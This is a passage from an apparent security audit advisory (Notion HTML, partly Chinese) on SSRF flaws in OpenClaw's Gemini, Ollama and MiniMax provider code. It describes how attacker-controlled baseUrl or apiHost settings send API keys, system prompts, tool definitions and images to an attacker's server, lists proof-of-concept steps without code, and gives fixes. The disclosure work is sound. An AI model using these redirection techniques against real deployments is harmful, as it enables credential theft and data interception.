src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa012_source.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8044-afd4-d4649f4cbb44" alt="Source" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80b59aa6e6e302f58e24">Source</div><div class="notion-text notion-block-3230f0c5b87c806994d7d749256dd835"><b>Step 1: Setup HTTP listener to capture full URLs</b></div><div class="notion-text notion-block-3230f0c5b87c8041a47bf8fa2c95b9e0"><b>Step 2: Modify configuration and trigger PDF processing</b></div><div class="notion-text notion-block-3230f0c5b87c80bea385ceebf98de629"><b>Step 3: Attacker receives</b></div><div class="notion-text notion-block-3230f0c5b87c80b487f3e39b2a4b0d26">The attacker now has the valid Google Cloud API key.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d783cce7a0704ec65b" data-id="3230f0c5b87c80d783cce7a0704ec65b"><span><div id="3230f0c5b87c80d783cce7a0704ec65b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d783cce7a0704ec65b" title="Comparison with Similar Vulnerabilities"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Comparison with Similar Vulnerabilities</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8054bbf0e72e56f2e0b5">Most SSRF vulnerabilities leak API keys in HTTP headers (e.g., <code class="notion-inline-code">Authorization: Bearer &lt;key&gt;</code>), which are typically not logged. This vulnerability is more severe because:
- URL parameters are extensively logged
- API key persists in browser history
- Proxy servers log full URLs
- No additional exploitation required beyond passive log collection</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ca98e8cfe3678d13ff" data-id="3230f0c5b87c80ca98e8cfe3678d13ff"><span><div id="3230f0c5b87c80ca98e8cfe3678d13ff" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ca98e8cfe3678d13ff" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b58d6df35114ec39c2">Remove the API key from URL query parameters and use the HTTP Authorization header instead. Implement SSRF validation for the <code class="notion-inline-code">baseUrl</code> parameter, blocking private IP addresses, cloud metadata services, and performing DNS pinning. Consider hardcoding the official Gemini API endpoint.</div><hr class="notion-hr notion-block-3230f0c5b87c803daff2c1d9c16ebe5c"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8010b1c0fd07b49352c6" data-id="3230f0c5b87c8010b1c0fd07b49352c6"><span><div id="3230f0c5b87c8010b1c0fd07b49352c6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8010b1c0fd07b49352c6" title="GHSA-013: Server-Side Request Forgery (SSRF) in Ollama Chat Streaming"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-013: Server-Side Request Forgery (SSRF) in Ollama Chat Streaming</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c80caa778fb70ec3e4326"><div><b>严重级别</b>: Medium  |  <b>类型</b>: SSRF  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fb9f6befd2af11a853" data-id="3230f0c5b87c80fb9f6befd2af11a853"><span><div id="3230f0c5b87c80fb9f6befd2af11a853" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fb9f6befd2af11a853" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80debdcffae45bc0aae8">The Ollama chat streaming function accepts user-controlled <code class="notion-inline-code">baseUrl</code> parameters from model configuration and performs unprotected HTTP requests to the <code class="notion-inline-code">/api/chat</code> endpoint, enabling Server-Side Request Forgery (SSRF) attacks.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804c97c6d3cc901fc364" data-id="3230f0c5b87c804c97c6d3cc901fc364"><span><div id="3230f0c5b87c804c97c6d3cc901fc364" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804c97c6d3cc901fc364" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d489faf9eaa3096290"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N (6.8)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ceacc9ec5fcc6e30c7" data-id="3230f0c5b87c80ceacc9ec5fcc6e30c7"><span><div id="3230f0c5b87c80ceacc9ec5fcc6e30c7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ceacc9ec5fcc6e30c7" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e7b3f0d7d9dbccbd61"><b>File</b>: <code class="notion-inline-code">src/agents/ollama-stream.ts</code><b>Function</b>: <code class="notion-inline-code">createOllamaStreamFn()</code>, <code class="notion-inline-code">resolveOllamaChatUrl()</code><b>Vulnerable Lines</b>: 420-422, 438, 482</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808194c5cd90967d636a" data-id="3230f0c5b87c808194c5cd90967d636a"><span><div id="3230f0c5b87c808194c5cd90967d636a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808194c5cd90967d636a" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8025960dcb5021e2d4f4">The Ollama streaming implementation constructs the chat endpoint URL from user-provided <code class="notion-inline-code">baseUrl</code> configuration (either <code class="notion-inline-code">modelBaseUrl</code> or <code class="notion-inline-code">providerBaseUrl</code>). The URL receives only basic string manipulation before being used in <code class="notion-inline-code">fetch()</code> calls.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80499d7cd152a255ee00" data-id="3230f0c5b87c80499d7cd152a255ee00"><span><div id="3230f0c5b87c80499d7cd152a255ee00" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80499d7cd152a255ee00" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80808846c307350c7f75">An attacker with model configuration access can modify Ollama provider settings:</div><div class="notion-text notion-block-3230f0c5b87c80e7a7c7ea0fa34ae558">When an agent uses an Ollama model, the complete chat request (including system prompt, user messages, and tool definitions) is sent to the attacker-controlled server.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802cb9ebcbdf46b341d3" data-id="3230f0c5b87c802cb9ebcbdf46b341d3"><span><div id="3230f0c5b87c802cb9ebcbdf46b341d3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802cb9ebcbdf46b341d3" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8041b374faf499b19e82">While this vulnerability does not directly leak paid API credentials (unlike TTS or PDF provider SSRF issues), it enables:
1. Internal network reconnaissance through targeted baseUrl configuration
2. Chat content interception (prompts, responses, tool calls)
3. System prompt exfiltration (may contain sensitive instructions)
4. Tool definition leakage (may reveal internal API structures)
5. Potential session hijacking if authentication tokens are transmitted</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80af8a64f4444b36a189" data-id="3230f0c5b87c80af8a64f4444b36a189"><span><div id="3230f0c5b87c80af8a64f4444b36a189" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80af8a64f4444b36a189" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80339d6cf81a9cc00121"><b>复现截图 - 源码审计确认漏洞：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80da81cacedcc64a5ad5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa013_source.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80da-81ca-cedcc64a5ad5" alt="Source" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c808982aaf5f38e4a58e1">Source</div><div class="notion-text notion-block-3230f0c5b87c80fb96a7dcc232a92cab"><b>Step 1: Setup listener to capture chat requests</b></div><div class="notion-text notion-block-3230f0c5b87c8072b4d9f8191c24abaa"><b>Step 2: Configure malicious baseUrl</b></div><div class="notion-text notion-block-3230f0c5b87c8025a53ec3e2cb8acea9"><b>Step 3: Trigger agent chat with Ollama model</b></div><div class="notion-text notion-block-3230f0c5b87c806db88bf378c46e8793"><b>Step 4: Captured request</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b78a12c244021e78f0" data-id="3230f0c5b87c80b78a12c244021e78f0"><span><div id="3230f0c5b87c80b78a12c244021e78f0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b78a12c244021e78f0" title="Affected Configuration Paths"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Configuration Paths</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80fb8f05e9dab03aecae">The <code class="notion-inline-code">baseUrl</code> can be injected through multiple configuration paths:
- Global provider configuration: <code class="notion-inline-code">models.providers.ollama.baseUrl</code>
- Per-model configuration: <code class="notion-inline-code">models.*.modelBaseUrl</code>
- Runtime override: <code class="notion-inline-code">model.providerBaseUrl</code></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f99d87db7e32904c0c" data-id="3230f0c5b87c80f99d87db7e32904c0c"><span><div id="3230f0c5b87c80f99d87db7e32904c0c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f99d87db7e32904c0c" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808d848dd49735facc55">Implement SSRF validation for Ollama <code class="notion-inline-code">baseUrl</code> parameters. Since Ollama is often self-hosted on internal networks, allow localhost and private IP ranges but block cloud metadata services (169.254.169.254, metadata.google.internal). Implement DNS pinning to prevent DNS rebinding attacks. Consider adding a warning when baseUrl is configured to non-localhost endpoints.</div><hr class="notion-hr notion-block-3230f0c5b87c80e5917cc67f1913fe2c"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c8042bf57ff7ba2ff1da3" data-id="3230f0c5b87c8042bf57ff7ba2ff1da3"><span><div id="3230f0c5b87c8042bf57ff7ba2ff1da3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8042bf57ff7ba2ff1da3" title="GHSA-014: Server-Side Request Forgery (SSRF) in MiniMax Vision Language Model"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-014: Server-Side Request Forgery (SSRF) in MiniMax Vision Language Model</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c804eb975ffe3462f8f56"><div><b>严重级别</b>: High  |  <b>类型</b>: SSRF + 凭证泄露  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802bb7a6edb0c3da22cd" data-id="3230f0c5b87c802bb7a6edb0c3da22cd"><span><div id="3230f0c5b87c802bb7a6edb0c3da22cd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802bb7a6edb0c3da22cd" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808fbe6bfd64a6c7adbe">The MiniMax VLM (Vision Language Model) function accepts user-controlled <code class="notion-inline-code">apiHost</code> and <code class="notion-inline-code">modelBaseUrl</code> parameters and performs unprotected HTTP requests with API key transmission, enabling Server-Side Request Forgery (SSRF) attacks with credential exfiltration.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808a8886dd94cbb1dedd" data-id="3230f0c5b87c808a8886dd94cbb1dedd"><span><div id="3230f0c5b87c808a8886dd94cbb1dedd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808a8886dd94cbb1dedd" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d898b3e36e84df0a45"><b>High</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N (7.7)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808f8d9df4d85bc17b6f" data-id="3230f0c5b87c808f8d9df4d85bc17b6f"><span><div id="3230f0c5b87c808f8d9df4d85bc17b6f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808f8d9df4d85bc17b6f" title="Affected Component"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Component</span></span></h4><div class="notion-text notion-block-3230f0c5b87c802daa5cdd6bbbbe4045"><b>File</b>: <code class="notion-inline-code">src/agents/minimax-vlm.ts</code><b>Function</b>: <code class="notion-inline-code">minimaxUnderstandImage()</code>, <code class="notion-inline-code">coerceApiHost()</code><b>Vulnerable Lines</b>: 17-40, 70-76</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b4aa14faf6a291f7d6" data-id="3230f0c5b87c80b4aa14faf6a291f7d6"><span><div id="3230f0c5b87c80b4aa14faf6a291f7d6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b4aa14faf6a291f7d6" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80218d2bd683d7f22489">The MiniMax VLM implementation constructs the API host URL from user-provided parameters with minimal validation. The <code class="notion-inline-code">coerceApiHost()</code> function accepts both <code class="notion-inline-code">apiHost</code> and <code class="notion-inline-code">modelBaseUrl</code> from configuration and uses them directly in HTTP requests that include the API key.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8004be55cf4f953c57a0" data-id="3230f0c5b87c8004be55cf4f953c57a0"><span><div id="3230f0c5b87c8004be55cf4f953c57a0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8004be55cf4f953c57a0" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ff9d3dc861568cf10d">An attacker with model configuration access can modify MiniMax settings:</div><div class="notion-text notion-block-3230f0c5b87c805d8aabf5c415035e8c">When image understanding is triggered, the application sends:
- Complete MiniMax API key in <code class="notion-inline-code">Authorization: Bearer</code> header
- Full image data (base64 encoded)
- User prompt text</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807487baff1755410dfd" data-id="3230f0c5b87c807487baff1755410dfd"><span><div id="3230f0c5b87c807487baff1755410dfd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807487baff1755410dfd" title="Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact</span></span></h4><div class="notion-text notion-block-3230f0c5b87c800f8068d04bb1bbfb48">An attacker can:
1. Steal MiniMax API keys for unauthorized use
2. Intercept image uploads (may contain sensitive visual data)
3. Capture prompt text (may contain confidential information)
4. Probe internal network services
5. Access cloud metadata services via SSRF chaining</div><div class="notion-text notion-block-3230f0c5b87c803aaf6add1962209778">The image data exposure is particularly concerning as VLM is often used with:
- Screenshots containing sensitive information
- Document scans with confidential content
- Private images uploaded for analysis</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8007a07fdef5668bfdcb" data-id="3230f0c5b87c8007a07fdef5668bfdcb"><span><div id="3230f0c5b87c8007a07fdef5668bfdcb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8007a07fdef5668bfdcb" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8034a96ef221f0a6ca72"><b>复现截图 - 源码审计确认漏洞：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80d181dce26951cea775"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa014_source.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80d1-81dc-e26951cea775" alt="Source" loading="lazy" 